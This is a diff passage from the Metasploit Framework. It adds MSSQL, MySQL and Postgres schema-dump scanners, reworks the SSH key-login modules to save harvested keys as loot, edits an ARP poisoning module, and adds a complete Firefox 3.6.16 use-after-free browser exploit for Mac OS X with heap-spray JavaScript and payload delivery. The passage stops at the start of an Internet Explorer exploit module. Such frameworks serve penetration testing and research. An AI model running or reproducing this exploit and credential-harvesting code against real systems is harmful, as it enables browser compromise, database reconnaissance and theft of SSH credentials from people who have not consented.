+ end
+
+ #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
+ instancename = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
+ print_status("Instance Name: #{instancename.inspect}")
+ version = mssql_query(mssql_sql_info())[:rows][0][0]
+ output = "Microsoft SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n Instance: #{instancename} \n Version: #{version} \n====================\n\n"
+
+ #Grab all the DB schema and save it as notes
+ mssql_schema = get_mssql_schema
+ return nil if mssql_schema.nil? or mssql_schema.empty?
+ mssql_schema.each do |db|
+ report_note(
+ :host => rhost,
+ :type => "mssql.db.schema",
+ :data => db,
+ :port => rport,
+ :proto => 'tcp',
+ :update => :unique_data
+ )
+ end
+ output << YAML.dump(mssql_schema)
+ this_service = report_service(
+ :host => datastore['RHOST'],
+ :port => datastore['RPORT'],
+ :name => 'mssql',
+ :proto => 'tcp'
+ )
+ store_loot('mssql_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_mssql_schema.txt", "MS SQL Schema", this_service)
+ print_good output
+ end
+
+ def get_mssql_schema
+ mssql_db_names = get_db_names()
+ mssql_schema=[]
+ unless mssql_db_names.nil?
+ mssql_db_names.each do |dbname|
+ next if dbname[0] == 'model' or dbname[0] == 'master' or dbname[0] == 'msdb' or dbname[0] == 'tempdb'
+ tmp_db = {}
+ tmp_tblnames = get_tbl_names(dbname[0])
+ unless tmp_tblnames.nil?
+ tmp_db['DBName']= dbname[0]
+ tmp_db['Tables'] = []
+ tmp_tblnames.each do |tblname|
+ next if tblname[0].nil?
+ tmp_tbl = {}
+ tmp_tbl['TableName'] = tblname[0]
+ tmp_tbl['Columns'] = []
+ tmp_columns = get_columns(dbname[0], tblname[1])
+ unless tmp_columns.nil?
+ tmp_columns.each do |column|
+ next if column[0].nil?
+ tmp_column = {}
+ tmp_column['ColumnName'] = column[0]
+ tmp_column['ColumnType'] = column[1]
+ tmp_column['ColumnLength'] = column[2]
+ tmp_tbl['Columns'] << tmp_column
+ end
+ end
+ tmp_db['Tables'] << tmp_tbl
+ end
+ end
+ mssql_schema << tmp_db
+ end
+ end
+ return mssql_schema
+ end
+
+
+ #Gets all of the Databases on this Instance
+ def get_db_names
+ results = mssql_query(mssql_db_names())[:rows]
+ return results
+ end
+
+ #Gets all the table names for the given DB
+ def get_tbl_names(db_name)
+ results = mssql_query("SELECT name,id FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows]
+ return results
+ end
+
+ # TODO: This should be split up, I fear nil problems in these query/response parsings
+ def get_columns(db_name, table_id)
+ results = mssql_query("Select syscolumns.name,systypes.name,syscolumns.length from #{db_name}..syscolumns JOIN #{db_name}..systypes ON syscolumns.xtype=systypes.xtype WHERE syscolumns.id=#{table_id}")[:rows]
+ return results
+ end
+
+
+end
+
132 modules/auxiliary/scanner/mysql/mysql_schemadump.rb
View
@@ -0,0 +1,132 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'yaml'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::MYSQL
+ include Msf::Auxiliary::Report
+
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'MYSQL Schema Dump',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module extracts the schema information from a
+ MySQL DB server.
+ },
+ 'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
+ 'License' => MSF_LICENSE
+ )
+ end
+
+ def run_host(ip)
+
+ if (not mysql_login_datastore)
+ print_error("Invalid MySQL Server credentials")
+ return
+ end
+ mysql_schema = get_schema
+ mysql_schema.each do |db|
+ report_note(
+ :host => rhost,
+ :type => "mysql.db.schema",
+ :data => db,
+ :port => rport,
+ :proto => 'tcp',
+ :update => :unique_data
+ )
+ end
+ output = "MySQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n ====================\n\n"
+ output << YAML.dump(mysql_schema)
+ this_service = report_service(
+ :host => datastore['RHOST'],
+ :port => datastore['RPORT'],
+ :name => 'mysql',
+ :proto => 'tcp'
+ )
+ store_loot('mysql_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_mysql_schema.txt", "MySQL Schema", this_service)
+ print_good output
+ end
+
+
+ def get_schema
+ mysql_schema=[]
+ res = mysql_query("show databases")
+ if res.size > 0
+ res.each do |row|
+ next if row[0].nil?
+ next if row[0].empty?
+ next if row[0]== "information_schema"
+ next if row[0]== "mysql"
+ next if row[0]== "performance_schema"
+ next if row[0]== "test"
+ tmp_db ={}
+ tmp_db['DBName'] = row[0]
+ tmp_db['Tables'] = []
+ tmp_tblnames = get_tbl_names(row[0])
+ unless tmp_tblnames.nil? or tmp_tblnames.empty?
+ tmp_tblnames.each do |table_name|
+ tmp_tbl={}
+ tmp_tbl['TableName'] = table_name
+ tmp_tbl['Columns'] = []
+ tmp_clmnames = get_columns(tmp_db['DBName'],table_name)
+ unless tmp_clmnames.nil? or tmp_clmnames.empty?
+ tmp_clmnames.each do |column|
+ tmp_column = {}
+ tmp_column['ColumnName'] = column[0]
+ tmp_column['ColumnType'] = column[1]
+ tmp_tbl['Columns'] << tmp_column
+ end
+ end
+ tmp_db['Tables'] << tmp_tbl
+ end
+ end
+ mysql_schema << tmp_db
+ end
+ end
+ return mysql_schema
+ end
+
+ #Gets all of the Tables names inside the given Database
+ def get_tbl_names(dbname)
+
+ tables=[]
+ res = mysql_query("SHOW tables from #{dbname}")
+ if res.size > 0
+ res.each do |row|
+ next if row[0].nil?
+ next if row[0].empty?
+ tables<<row[0]
+ end
+ end
+ return tables
+
+ end
+
+ def get_columns(db_name,tbl_name)
+ tables=[]
+ res = mysql_query("desc #{db_name}.#{tbl_name}")
+ if res.size > 0
+ res.each do |row|
+ next if row[0].nil?
+ next if row[0].empty?
+ tables<< [row[0],row[1]]
+ end
+ end
+ return tables
+ end
+
+end
124 modules/auxiliary/scanner/postgres/postgres_schemadump.rb
View
@@ -0,0 +1,124 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Postgres
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'Postgres Schema Dump',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module extracts the schema information from a
+ Postgres server.
+ },
+ 'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
+ 'License' => MSF_LICENSE
+ )
+ register_options([
+ OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
+ ])
+ deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
+
+ end
+
+ def run_host(ip)
+ pg_schema = get_schema
+ pg_schema.each do |db|
+ report_note(
+ :host => datastore['RHOST'],
+ :type => "postgres.db.schema",
+ :data => db,
+ :port => datastore['RPORT'],
+ :proto => 'tcp',
+ :update => :unique_data
+ )
+ end
+ output = "Postgres SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n ====================\n\n"
+ output << YAML.dump(pg_schema)
+ this_service = report_service(
+ :host => datastore['RHOST'],
+ :port => datastore['RPORT'],
+ :name => 'postgres',
+ :proto => 'tcp'
+ )
+ store_loot('postgres_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_postgres_schema.txt", "Postgres SQL Schema", this_service)
+ print_good output
+ end
+
+ def get_schema
+ pg_schema = []
+ res = smart_query('SELECT datname FROM pg_database')
+ if res and not res.empty?
+ res.each do |row|
+ defaults = ['template1', 'template0', 'postgres']
+ next if defaults.include? row[0]
+ tmp_db = {}
+ tmp_db['DBName'] = row[0]
+ tmp_db['Tables'] = []
+ postgres_login({:database => row[0]})
+ tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
+ if tmp_tblnames and not tmp_tblnames.empty?
+ tmp_tblnames.each do |tbl_row|
+ tmp_tbl = {}
+ tmp_tbl['TableName'] = tbl_row[0]
+ tmp_tbl['Columns'] = []
+ tmp_column_names = smart_query("SELECT A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='#{tbl_row[0]}');")
+ if tmp_column_names and not tmp_column_names.empty?
+ tmp_column_names.each do |column_row|
+ tmp_column = {}
+ tmp_column['ColumnName'] = column_row[0]
+ tmp_column['ColumnType'] = column_row[1]
+ tmp_column['ColumnLength'] = column_row[2]
+ tmp_tbl['Columns'] << tmp_column
+ end
+ end
+ tmp_db['Tables'] << tmp_tbl
+ end
+ end
+ pg_schema << tmp_db
+ end
+ end
+ return pg_schema
+ end
+
+
+ def smart_query(query_string)
+ res = postgres_query(query_string,false)
+ #Error handling routine here, borrowed heavily from todb
+ case res.keys[0]
+ when :conn_error
+ print_error("A Connection Error occured")
+ return
+ when :sql_error
+ case res[:sql_error]
+ when /^C42501/
+ print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficent permissions."
+ return nil
+ else
+ print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
+ return nil
+ end
+ when :complete
+ return res[:complete].rows
+ end
+ end
+
+
+end
+
81 modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
View
@@ -159,7 +159,6 @@ def do_login(ip, port, user)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
- @keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
@@ -167,10 +166,9 @@ def do_login(ip, port, user)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
- @keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
- @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
+ @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/}
end
these_keys = @key_files.map {|f| File.join(key_dir,f)}
keys = read_keyfile(these_keys)
@@ -214,14 +212,14 @@ def do_login(ip, port, user)
if datastore['SSH_BYPASS']
data = nil
- print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
+ print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...")
begin
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
rescue ::Exception
end
- print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
+ print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data
end
::Timeout.timeout(1) { ssh_socket.close } rescue nil
@@ -237,14 +235,14 @@ def do_login(ip, port, user)
if accepted.length == 0
if @key_files
- vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
+ print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
else
- vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
+ print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}"
end
end
accepted.each do |key|
- print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
+ print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
do_report(ip, rport, user, key, key_data)
end
end
@@ -252,58 +250,43 @@ def do_login(ip, port, user)
def do_report(ip, port, user, key, key_data)
return unless framework.db.active
- store_keyfile_b64_loot(ip,user,key[:fingerprint])
+ keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data)
cred_hash = {
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
- :pass => @keyfile_path,
+ :pass => keyfile_path,
:source_type => "user_supplied",
:type => 'ssh_pubkey',
:proof => "KEY=#{key[:fingerprint]}",
:duplicate_ok => true,
- :active => true
+ :active => true
}
this_cred = report_auth_info(cred_hash)
end
- # Checks if any existing privkeys matches the named key's
- # key id. If so, assign that other key's cred.id to this
- # one's proof section, and vice-versa.
- def cross_check_privkeys(key_id)
- return unless framework.db.active
- other_cred = nil
- framework.db.creds.each do |cred|
- next unless cred.ptype == "ssh_key"
- next unless cred.proof =~ /#{key_id}/
- other_cred = cred
- break
- end
- return other_cred
+ def existing_loot(ltype, key_id)
+ framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
end
- # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
- # good, then store it as loot for this user@host, unless we
- # already have it in loot.
- def store_keyfile_b64_loot(ip,user,key_id)
- return unless db
- return if @keyfile_path
- return if datastore["SSH_KEYFILE_B64"].to_s.empty?
- keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
- keyfile = keyfile.strip + "\n"
- ktype_match = keyfile.match(/ssh-(rsa|dss)/)
- return unless ktype_match
- ktype = ktype_match[1].downcase
- ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
+ def store_keyfile(ip,user,key_id,key_data)
+ safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
+ ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil
+ return unless ktype
+ ktype = "dsa" if ktype == "dss"
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
- # Assignment and comparison here, watch out!
- if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
- if loot.info.include? key_id
- @keyfile_path = loot.path
- end
- end
- @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
+ keyfile = existing_loot(ltype, key_id)
+ return keyfile.path if keyfile
+ keyfile_path = store_loot(
+ ltype,
+ "application/octet-stream", # Text, but always want to mime-type attach it
+ ip,
+ (key_data + "\n"),
+ "#{safe_username}_#{ktype}.pub",
+ key_id
+ )
+ return keyfile_path
end
def run_host(ip)
@@ -314,17 +297,17 @@ def run_host(ip)
ret, proof = do_login(ip, rport, user)
case ret
when :connection_error
- vprint_error "#{ip}:#{rport} - SSH - Could not connect"
+ vprint_error "#{ip}:#{rport} SSH - Could not connect"
:abort
when :connection_disconnect
- vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
+ vprint_error "#{ip}:#{rport} SSH - Connection timed out"
:abort
when :fail
- vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
+ vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
when :missing_keyfile
- vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
+ vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile"
when :no_valid_keys
- vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
+ vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile"
end
end
end
77 modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
View
@@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
- attr_accessor :ssh_socket, :good_credentials, :good_key
+ attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data
def initialize
super(
@@ -147,7 +147,6 @@ def pull_cleartext_keys(keys)
def do_login(ip,user,port)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
- @keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
@@ -155,7 +154,6 @@ def do_login(ip,user,port)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
- @keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
@@ -195,9 +193,9 @@ def do_login(ip,user,port)
rescue Net::SSH::AuthenticationFailed
# Try, try, again
if @key_files
- vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
+ vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
else
- vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{key_idx+1}"
+ vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}"
end
next
rescue Net::SSH::Exception => e
@@ -208,6 +206,7 @@ def do_login(ip,user,port)
if self.ssh_socket
self.good_key = self.ssh_socket.auth_info[:pubkey_id]
+ self.good_key_data = self.ssh_socket.options[:key_data]
proof = ''
begin
Timeout.timeout(5) do
@@ -247,42 +246,50 @@ def do_login(ip,user,port)
end
end
- def do_report(ip,user,port,proof)
+ def do_report(ip, port, user, proof)
return unless framework.db.active
- store_keyfile_b64_loot(ip,user,self.good_key)
+ keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data)
cred_hash = {
:host => ip,
:port => datastore['RPORT'],
:sname => 'ssh',
:user => user,
- :pass => @keyfile_path,
+ :pass => keyfile_path,
:type => "ssh_key",
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
- :active => true
+ :duplicate_ok => true,
+ :active => true
}
this_cred = report_auth_info(cred_hash)
end
- # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
- # good, then store it as loot for this user@host, unless we
- # already have it in loot.
- def store_keyfile_b64_loot(ip,user,key_id)
- return unless db
- return if @keyfile_path
- return if datastore["SSH_KEYFILE_B64"].to_s.empty?
- keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
- keyfile = keyfile.strip + "\n"
- ktype_match = keyfile.match(/--BEGIN ([DR]SA) PRIVATE/)
- return unless ktype_match
- ktype = ktype_match[1].downcase
- ltype = "host.unix.ssh.#{user}_#{ktype}_private"
- # Assignment and comparison here, watch out!
- if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
- if loot.info.include? key_id
- @keyfile_path = loot.path
- end
+ def existing_loot(ltype, key_id)
+ framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
+ end
+
+ def store_keyfile(ip,user,key_id,key_data)
+ safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
+ case key_data
+ when /BEGIN RSA PRIVATE/m
+ ktype = "rsa"
+ when /BEGIN DSA PRIVATE/m
+ ktype = "dsa"
+ else
+ ktype = nil
end
- @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
+ return unless ktype
+ ltype = "host.unix.ssh.#{user}_#{ktype}_private"
+ keyfile = existing_loot(ltype, key_id)
+ return keyfile.path if keyfile
+ keyfile_path = store_loot(
+ ltype,
+ "application/octet-stream", # Text, but always want to mime-type attach it
+ ip,
+ (key_data + "\n"),
+ "#{safe_username}_#{ktype}.key",
+ key_id
+ )
+ return keyfile_path
end
def run_host(ip)
@@ -294,21 +301,21 @@ def run_host(ip)
ret,proof = do_login(ip,user,rport)
case ret
when :success
- print_good "#{ip}:#{rport} SSH - Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
- do_report(ip,user,rport,proof)
+ print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
+ do_report(ip, rport, user, proof)
:next_user
when :connection_error
- vprint_error "#{ip}:#{rport} - SSH - Could not connect"
+ vprint_error "#{ip}:#{rport} SSH - Could not connect"
:abort
when :connection_disconnect
- vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
+ vprint_error "#{ip}:#{rport} SSH - Connection timed out"
:abort
when :fail
- vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
+ vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
when :missing_keyfile
- vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile."
+ vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile."
when :no_valid_keys
- vprint_error "#{ip}:#{rport} - SSH - No cleartext keys in keyfile."
+ vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile."
end
end
end
20 modules/auxiliary/spoof/arp/arp_poisoning.rb
View
@@ -83,20 +83,20 @@ def run
@interface = get_interface_guid(@interface)
@smac = datastore['SMAC']
@smac ||= get_mac(@interface) if @netifaces
- raise RuntimeError ,'Source Mac should be defined' unless @smac
- raise RuntimeError ,'Source Mac is not in correct format' unless is_mac?(@smac)
+ raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
+ raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
@sip = datastore['LOCALSIP']
@sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces
- raise "LOCALIP is not defined and can not be guessed" unless @sip
- raise "LOCALIP is not an ipv4 address" unless is_ipv4? @sip
+ raise "LOCALSIP is not defined and can not be guessed" unless @sip
+ raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
@shosts = []
if datastore['BIDIRECTIONAL']
- shosts_range.each{|shost| if is_ipv4? shost and shost != @sip then @shosts.push shost end}
+ shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
else
- shosts_range.each{|shost| if is_ipv4? shost then @shosts.push shost end}
+ shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
end
if datastore['BROADCAST']
@@ -178,7 +178,7 @@ def arp_poisoning
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
@dhosts = []
- dhosts_range.each{|dhost| if is_ipv4? dhost and dhost != @sip then @dhosts.push(dhost) end}
+ dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
#Build the local dest hosts cache
print_status("Building the destination hosts cache...")
@@ -329,12 +329,6 @@ def is_mac?(mac)
else false end
end
- #copy paste from rex::socket cause we need only ipv4
- #NOTE: Breaks msftidy's rule on long lines, should be refactored for readability.
- def is_ipv4?(addr)
- (addr =~ /^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$/) ? true : false
- end
-
def buildprobe(shost, smac, dhost)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
159 modules/exploits/osx/browser/mozilla_mchannel.rb
View
@@ -0,0 +1,159 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::Remote::BrowserAutopwn
+
+ autopwn_info({
+ :ua_name => HttpClients::FF,
+ :ua_minver => "3.6.16",
+ :ua_maxver => "3.6.16",
+ :os_name => OperatingSystems::MAC_OSX,
+ :javascript => true,
+ :rank => NormalRanking,
+ })
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
+ 'Description' => %q{
+ This module exploits a use-after-free vulnerability in Mozilla
+ Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
+ OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
+ becomes a dangling pointer and can be reused when setting the OBJECTs
+ data attribute. (Discovered by regenrecht). Mac OS X version by argp,
+ tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'regenrecht', # discovery
+ 'Rh0', # windows metasploit module
+ 'argp <argp[at]census-labs.com>' # mac os x target
+ ],
+ 'References' =>
+ [
+ ['CVE', '2011-0065'],
+ ['OSVDB', '72085'],
+ ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
+ ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ },
+ 'Platform' => 'osx',
+ 'Targets' =>
+ [
+ [
+ 'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
+ {
+ 'Arch' => ARCH_X86,
+ 'Fakevtable' => 0x2727,
+ 'Fakefunc' => 0x2727001c,
+ }
+ ],
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'May 10 2011'
+ ))
+ end
+
+ def on_request_uri(cli, request)
+ # Random JavaScript variable names
+ js_element_name = rand_text_alpha(rand(10) + 5)
+ js_obj_addr_name = rand_text_alpha(rand(10) + 5)
+ js_sc_name = rand_text_alpha(rand(10) + 5)
+ js_ret_addr_name = rand_text_alpha(rand(10) + 5)
+ js_chunk_name = rand_text_alpha(rand(10) + 5)
+ js_final_chunk_name = rand_text_alpha(rand(10) + 5)
+ js_block_name = rand_text_alpha(rand(10) + 5)
+ js_array_name = rand_text_alpha(rand(10) + 5)
+
+ # check for non vulnerable targets
+ agent = request.headers['User-Agent']
+
+ if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
+ print_error("Target not supported: #{agent}") if datastore['VERBOSE']
+ send_not_found(cli)
+ return
+ end
+
+ # Re-generate the payload
+ return if ((payload = regenerate_payload(cli).encoded) == nil)
+
+ payload_buf = ''
+ payload_buf << payload
+ escaped_payload = Rex::Text.to_unescape(payload_buf)
+
+ # setup the fake memory references
+ my_target = targets[0] # in case we add more targets later
+ fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
+ fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
+
+ exploit_js = <<-JS
+ #{js_element_name} = document.getElementById("d");
+ #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
+ #{js_element_name}.onChannelRedirect(null, new Object, 0)
+
+ #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
+
+ var #{js_sc_name} = unescape("#{escaped_payload}");
+
+ var #{js_ret_addr_name} = unescape("#{fakefunc}");
+
+ while(#{js_ret_addr_name}.length < 0x120)
+ {
+ #{js_ret_addr_name} += #{js_ret_addr_name};
+ }
+
+ var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
+ #{js_chunk_name} += #{js_sc_name};
+ #{js_chunk_name} += #{js_ret_addr_name};
+ var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
+
+ while(#{js_final_chunk_name}.length < 0x800000)
+ {
+ #{js_final_chunk_name} += #{js_final_chunk_name};
+ }
+
+ var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
+
+ #{js_array_name} = new Array()
+
+ for(n = 0; n < 0x220; n++)
+ {
+ #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
+ }
+ JS
+
+ html = <<-HTML
+ <html>
+ <body>
+ <object id="d"><object>
+ <script type="text/javascript">
+ #{exploit_js}
+ </script>
+ </body>
+ </html>
+ HTML
+
+ #Remove the extra tabs
+ html = html.gsub(/^\t\t/, '')
+ print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
+ send_response_html(cli, html, { 'Content-Type' => 'text/html' })
+
+ # Handle the payload
+ handler(cli)
+ end
+
+end
193 modules/exploits/windows/browser/ms05_054_onload.rb
View
@@ -0,0 +1,193 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'MS05-054: Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
+ 'Description' => %q{
